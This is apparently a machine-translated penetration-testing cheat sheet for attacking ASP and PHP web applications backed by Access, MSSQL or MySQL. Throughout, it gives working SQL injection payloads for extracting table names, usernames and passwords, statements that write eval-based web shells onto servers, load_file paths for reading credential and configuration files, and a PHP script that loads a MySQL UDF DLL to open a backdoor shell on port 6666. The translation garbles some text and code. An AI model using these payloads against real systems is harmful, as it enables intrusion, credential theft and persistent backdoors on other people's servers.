Penetration note script intrusion (ASP, PHP)

ASP + ACCESS (MYSQL): Rough: '1. number Type: and 1 = 1 and 1 = 2 2. character Type: 'and'1' = '1' and '1' = '2 3. search type: % 'and 1 = 1 and' % '=' % or % 'and 1 = 2 and' % '=' % www.2cto.com (PS: third, it may not be commonly used. It is generally written in ASP scripts as: keyword = request ("keyword "), when "begin" is assigned to an SQL statement, it is changed to Select * from table name where keyword like '% forward %'. A simple judgment of database information: Statement type (no error is reported in IIS, separate statements by yourself): and user> 0 and (select count (*) from msysobjects)> 0 ...... (The page error is access database) and (select count (*) from sysobjects)> 0 ...... (The page is normally in the MSSQL database) and db_name ()> 0 ...... (Database Name) version> 0 (SQL Server version information and server operating system type and version information) Rough Type: Add '(based on server error information) Add; -- (; and -- MSSQL databases generally have,; represents separation, -- is not in the ACCESS database annotation) to judge MYSQL permissions: and 0 <> (Select ISSRVROLEMEMBER ('sysadmin') -- (SA if the page is normal) and 0 <> (Select IS_MEMBER ('db _ owner ')) -- (db_owner if the page is normal) and 0 <> (Select IS_MEMBER ('public') -- (if the page is normal, it is public) PS: The preceding method is applicable when the parameter is int, if it is in the statement type, you must add 'and query statement after the parameter; -- start SQL injection (ACCESS): name of the table to be guessed: and 0 <> (select count (*) f Rom table name) or and exists (Select * from table name) and 1 <(select count (*) from Table Name) (if a page error occurs, the number of accounts is 1) guess the field: and exists (Select field name from Table Name) (the page exists normally and does not exist normally) Guess the username and password length: and (Select top 1 len (column name) from table name)> N (TOP indicates that the first record is extracted; N indicates the length of the transformed and guessed column. If a page error occurs, the length of the column is N.) For example: and 1 = (select count (*) from user where len (name)> 6) error and 1 = (select count (*) from user where len (name)> 5) if it is correct, the length is 6. Guess the username and password: and (select top 1 asc (mid (column name, 1, 1) from Table name)> 0 for example: and (select top 1 asc (mid (user,) from name)> 96 page normal and (select top 1 asc (mid (user, 1, 1) from name)> 97 page error, the ASCLL code is 97 PS: Because the MD5 ciphertext is only 16, 18, 32, 40, so you only need to try the 15,16, 17,18,, and 40 are simpler. Start SQL injection (MYSQL): The table name and field: having 1 = 1 -- Insert new record: group by users. ID having 1 = 1 -- group by users. ID, users. username, users. password, users. privs having 1 = 1 --; insert into users values (666, attacker, foobar, 0 xffff) -- Name of the table to be guessed: and (select top 1 name from sysobjects where xtype = 'U')> 0 (obtain the first table name) and (select top 1 name from sysobjects where xtype = 'U' and name not in ('user')> 0 (get the second table name ).................. Name of the column to be guessed: and (select top 1 col_name (object_id ('field'), 1) from sysobjects)> 0 (obtain the first column name of the Field) the content of the field to be guessed: and (select top 1 column name from [Table name])> 0 for example: and (select top 1 username from [admin])> 0 (get user name) and (select top 1 password from [admin])> 0 (get password) Export webshell: 1. use the SQL command execution function to export WebShell: SELECT '<% execute request ("a") %> 'into [vote] in 'd: \ web \ x.asp;.xls' 'excel 8.0; 'From votePS: You must provide the SQL Execution function and know the absolute path. (vote is a known table segment.) 2. create The table name of the field is "a". The type of the field is 50 characters. In table A, a Trojan with a password of 90sec is inserted, export the content of Table a as an EXCEL file in the physical path. After exporting the content as an EXCEL file, you can use the IIS Parsing Vulnerability to become a pony. Statement: create table cmd (a varchar (50) insert into cmd (a) values ('<% execute request ("90sec") %> ') select * into [a] in 'f: \ host \ qhdyxt \ web \ a.asp;.xls ''excel 4.0;' from cmd drop table cmd copy code elevation: 1. directly add an account under the system permission (if possible): directly add the account by using the CMD command. 2. use the permission escalation function provided by shell: Serv_U, pcAnywhere, Radmin password reading, etc. Try all three. exploitation of system vulnerabilities for overflow Elevation of Privilege: In the CMD command line, enter C: \ recycler \ 1.exespace authorization command, and 1.exe is Brazilian barbecue. use software vulnerabilities to escalate permissions (this opportunity is relatively slim and I have never succeeded. in conn. asp Webconfig. search for the SA password or inc. the ROOT password in the file such as php (you can use the CMD statement to find the password, for example, using the CMD command dir/s d: \ conn. asp or dir/s d: \ * inc *. php to find the configuration file) PHP + MYSQL 1. the same is true for vulnerabilities. 2. database Information judgment: 1. database type. You can simply use the preceding statements directly. database version Information, database name, and user name (prerequisite to obtain the number of fields and available fields): and 1 = 2 union select 1, 2, 3, 4, version (), database (), user (), 8 -- or: + union + select + 1, 2, 3, 4, database (), version (), user (), 8 (add-before the parameter -) 3. database permission: and ord (mid (user (), 114) =/* (the page is normally described as root) 4. information about the operating system: and 1 = 2 union all select @ global. version_compile_ OS from mysql. user/* 3. start injection: 1. query field: (1) join query with union: and 1 = 1 union select 1, 2, 4, 5 ...... (2) Use order by to query "order by * -- 2. exploitable fields: and 1 = 2 union select 1, 2, 4, 5, 6, 7 ...... -- Or + union + select + 1, 2, 4, 5, 6, 7 ...... (Add-before parameters) PS: do not guess available field brute-force database information (applicable to some websites): and 1 = 2 union all select version () /* and 1 = 2 union all select database ()/* and 1 = 2 union all select user ()/* Method 1: brute-force database 3. storm Library (provided that mysql> 5.0, because Mysql 5 and above have a built-in database information_schema, which stores all the database and table structure information of mysql): and 1 = 2 union select, 3, SCHEMA_NAME, from information_schema.SCHEMATA limit 4. guess the table name: and 1 = 2 union select 1, 2, 3, TABLE_NAME, 5, 6, 7, 8, 9, 10 from infor Mation_schema.TABLES where TABLE_SCHEMA = database (hexadecimal) limit 0 (start record, 0 is the first start record), 1 (display 1 record) -- 5. guess the field: and 1 = 2 Union select 1, 2, 3, COLUMN_NAME, 5, 6, 7, 8, 9, 10 from information_schema.COLUMNS where TABLE_NAME = table name (hexadecimal) limit 0, 1 6. password explosion: and 1 = 2 Union select, 3, username segment, 7, password segment, from table name limit PS: advanced usage: Union select, 3 concat (username segment, 0x3c, password segment), 5, 6, 7, 8, 9 from table name limit 0, 1 Method 2: Use the virtual database information_schema to pop up table 3. + union + Select + 1, 2, 3, 4, table_name, 5 + from + information_schema.tables + where + table_schema = hexadecimal + limit + or and 1 = 2 union select 1, 2, 3, 4, table_name, 5 from information_schema.tables where table_schema = hexadecimal limit 1, 1 of database name -- PS: limit 1, 1 can be changed. query the next 4. use the following table to pop up fields: + union + select + 1, 2, 3, 4, column_name, 5 + from + information_schema.columns + where + table_name = pop-up fields in hexadecimal format or: and 1 = 2 union select 1, 2, 4, column_name, 5 from info Rmation_schema.columns where table_name = hexadecimal format of the burst field -- 5. burst user name and password: + union + select + 1, 2, 3, User Name field, password field, 6 + from + management table or: and 1 = 2 union select 1, 2, 3, username Field, password field, 6 from management table -- (PS: one-time burst table :. + union + select + 1, 2, 4, GROUP_CONCAT (DISTINCT + table_name), 6 + from + information_schema.columns + where + table_schema = all fields are displayed in hexadecimal mode of the Database Name: + union + select + 1, 2, 4, GROUP_CONCAT (DISTINCT + column_name), 6 + from + information_schema.columns + where + tab Le_schema = hex password and username for database names: + union + select + 1, 2, 4, GROUP_CONCAT (DISTINCT + username, 0x5f, password ), 6 + from + Table Management) PS: All the + numbers here replace spaces. You can also use/**/to replace them. different situations and analysis vary! But-4 must be added before the parameter. webshell 1. export a statement using WebShell Drop table if exists temp; Create TABLE temp (cmd text not null); Insert INTO temp (cmd) VALUES ('<? Php eval ($ _ POST [cmd]);?> '); Select cmd from temp into out file 'f:/wwwroot/eval. php'; Drop table if exists temp; or: select' <? Php eval ($ _ POST [cmd]);?> 'Into outfile' F:/wwwroot/eval. php '; copy the code PS: eval. php is the import object 5. permission escalation: Method 1: Write horse directly (Root permission) conditions: 1. Know the physical path of the Site 2. Have sufficient permissions (select... can be used .... From mysql. user test) 3. magic_quotes_gpc () = OFF select' <? Php eval ($ _ POST [cmd])?> 'Into outfile' physical path 'and 1 = 2 union all select statement HEX value into outfile' path 'load_file () common paths: 1. replace (load_file (0 × 2F6574632F706173737764 ), 0 × 3c, 0 × 20) 2. replace (load_file (char (47,101,116, 115,115,119,100,), char (60), char (32 )) the above two shows the code in a PHP file. in some cases, do not replace some characters. For example, if "<" is replaced with "space", the webpage is returned. the Code cannot be viewed. 3. load_file (char (47) can list FreeBSD, Sunos system root directory 4,/etc tpd/conf tpd. conf or/usr/local/apche/conf tpd. conf View the linux APACHE Virtual Host Configuration File 5, c: \ Program Files \ Apache Group \ Apache \ conf \ httpd. conf or C: \ apache \ conf \ httpd. conf: view the apache files 6 and c:/Resin-3.0.14/conf/resin in WINDOWS. conf. 7. c:/Resin/conf/resin. conf/usr/local/resin/conf/resin. conf: view the JSP virtual host configured in linux 8, d: \ APACHE \ Apache2 \ conf \ httpd. conf 9, C: \ Program Files \ mysql \ my. ini 10 ,.. /themes/darkblue_orange/layout. inc. php phpmyadmin burst path 11, c :\ Windows \ system32 \ inetsrv \ MetaBase. xml to view the IIS virtual host configuration file 12,/usr/local/resin-3.0.22/conf/resin. conf for the RESIN configuration file 3.0.22 view 13,/usr/local/resin-pro-3.0.22/conf/resin. conf same as above 14,/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE virtual host view 15,/etc/sysconfig/iptables this view firewall policy 16, usr/local/app /php5 B/php. ini PHP's equivalent settings 17,/etc/my. cnf MYSQL configuration file 18,/etc/redhat-release Red Hat system version 19, C: \ mysql \ data \ mysql \ User. MYD in MYSQL System User Password 20,/etc/sysconfig/network-scripts/ifcfg-eth0 view IP. 21./usr/local/app/php5 B/php. ini // PHP related settings 22,/usr/local/app/apache2/conf/extra tpd-vhosts.conf // virtual website settings 23, C: \ Program Files \ RhinoSoft.com \ Serv-U \ ServUDaemon. ini 24, c: \ windows \ my. ini 25, c: \ boot. config. inc. php, config. php. When load_file (), replace (load_file (HEX), char (60), char (32) should be used. Note: Char (60) represents <Char (32) represents space. Method 2: create a PHP file directly in PHPSPY. enter the following content $ link = mysql_connect ('2017. 0.0.1 ', 'root', 'root'); if (! $ Link) {die ('could NOt Connect The Database!: '. Mysql_error () ;}; echo "Good Boy. Connected! "; // Here the root \ root is the user and password read from my. ini. @ mysql_select_db ('mysql') or die ('use database mysql failed! '); Echo "Yes You Did! "; // Select MySQL database table here. of course you can also choose something else, such as test. $ query = "Create Function Shell returns integer soname 'd: \ wwwroot \ FurQ. dll '; "; @ $ result = mysql_query ($ query, $ link) or die (" Create Function Failed! "); Echo" Goddess... Successed! "; // These two statements are critical. Execute the create function Statement of MySQL. set d: \ wwwroot \ furq. the Shell function in dll is created in MySQL. so that MySQL can execute this Shell function. $ query = "Select Shell ();"; @ $ result = mysql_query ($ query, $ link) or die ("Execute failed"); echo "Congratulations! Connect The Port 6666 Of This Server VS password: FurQ "; // This step is to execute This Shell function and open Port 6666 Of The Server.?> Run the command again. Because the permission of MySQL is inherited, MySQL is installed by service by default in Win system, so the Shell obtained is the LocalSystem permission.